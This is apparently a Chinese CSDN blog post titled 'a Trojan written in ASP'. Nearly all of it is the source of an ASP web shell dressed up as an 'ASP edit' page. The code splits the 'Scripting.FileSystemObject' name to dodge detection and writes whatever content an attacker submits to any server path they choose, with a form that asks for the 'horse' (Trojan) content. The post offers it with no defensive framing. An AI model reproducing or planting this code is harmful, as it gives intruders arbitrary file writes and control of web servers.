ASP写的Trojan

最新推荐文章于 2020-03-17 17:56:32 发布

LeeLin

最新推荐文章于 2020-03-17 17:56:32 发布

阅读量1.5k

点赞数

分类专栏： ASP 文章标签： asp stylesheet behavior input div table

本文链接：https://blog.csdn.net/nileel/article/details/1581072

版权

ASP 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

<htmL xmLnS:v>
<hEAd>
<titLE>ASP edit</titLE>
<mEtA http-EqUiv='cOntEnt-tYpE' cOntEnt='tExt/htmL; chARSEt=gB2312' />

<StYLE REL='StYLEShEEt'>
v/:*    {
   BEhAviOR:URL(#dEFAULt#vmL);
}
BOdY, div, SpAn, Li, td, A {
   cOLOR: #666666;
   FOnt-SizE: 12px !impORtAnt;
   FOnt-SizE: 11px;
   FOnt-FAmiLY: tAhOmA, ARiAL, 'cOURiER nEw', vERdAnA, SAnS-SERiF;
   LinE-hEight: 19px;
}
A {
   cOLOR: #444444;
   tExt-dEcORAtiOn: nOnE;
}
A:hOvER {
   cOLOR: REd;
   tExt-dEcORAtiOn: nOnE;
}
.StYLE1 {cOLOR: #000000}
</StYLE>
</hEAd>
<BOdY StYLE='tExt-ALign:cEntER;mARgin:90px 20px 50px 20px'>

<div StYLE='mARgin:AUtO; width:450px; tExt-ALign:cEntER'>
   <v:ROUndREct StYLE='tExt-ALign:LEFt; diSpLAY:tABLE; mARgin:AUtO; pAdding:15px; width:750px; hEight:510px; OvERFLOw:hiddEn; pOSitiOn:RELAtivE;' ARcSizE='3200F' cOORdSizE='21600,21600' FiLLcOLOR='#FdFdFd' StROkEcOLOR='#E6E6E6' StROkEwEight='1px'>
       <tABLE width='100%' cELLpAdding='0' cELLSpAcing='0' BORdER='0' StYLE='pAdding-BOttOm:6px; BORdER-BOttOm:1px #E3E3E3 SOLid'>
      <tR>
        <td>         <% dim OBjFSO %>         <% dim FdAtA %>         <% dim OBjcOUntFiLE %>         <% On ERROR RESUmE nExt %>         <% SEt OBjFSO = SERvER.cREAtEOBjEct("ScR"&ABc&"ipting.FiLESYStEmOBjEct") %>         <% iF tRim(REqUESt("SYFdpAth"))<>"" thEn %>         <% FdAtA = REqUESt("cYFddAtA") %>         <% SEt OBjcOUntFiLE=OBjFSO.cREAtEtExtFiLE(REqUESt("SYFdpAth"),tRUE) %>         <% OBjcOUntFiLE.wRitE FdAtA %>         <% iF ERR =0 thEn %>         <% RESpOnSE.wRitE "<FOnt cOLOR=REd>保存成功!</FOnt>" %>         <% ELSE %>         <% RESpOnSE.wRitE "<FOnt cOLOR=REd>保存失败!</FOnt>" %>         <% End iF %>         <% ERR.cLEAR %>         <% End iF %>         <% OBjcOUntFiLE.cLOSE %>         <% SEt OBjcOUntFiLE=nOthing %>         <% SEt OBjFSO = nOthing %>         <% RESpOnSE.wRitE "<FORm ActiOn='' mEthOd=pOSt>" %>         <% RESpOnSE.wRitE "保存文件的<FOnt cOLOR=REd>绝对路径(包括文件名:如d:/wEB/x.ASp):</FOnt>" %>         <% RESpOnSE.wRitE "<inpUt tYpE=tExt nAmE=SYFdpAth width=32 SizE=50>" %>         <% RESpOnSE.wRitE "<BR>" %>         <% RESpOnSE.wRitE "本文件绝对路径" %>         <% =SERvER.mAppAth(REqUESt.SERvERvARiABLES("ScRipt_nAmE")) %>         <% RESpOnSE.wRitE "<BR>" %>         <% RESpOnSE.wRitE "输入马的内容:" %>         <% RESpOnSE.wRitE "<tExtAREA nAmE=cYFddAtA cOLS=80 ROwS=10 width=32></tExtAREA>" %>         <% RESpOnSE.wRitE "<inpUt tYpE=SUBmit vALUE=保存>" %>         <% RESpOnSE.wRitE "</FORm>" %>
        <div ALign="LEFt"></div></td>
      </tR>
    </tABLE>
   </v:ROUndREct>
</div>
</BOdY>
</htmL>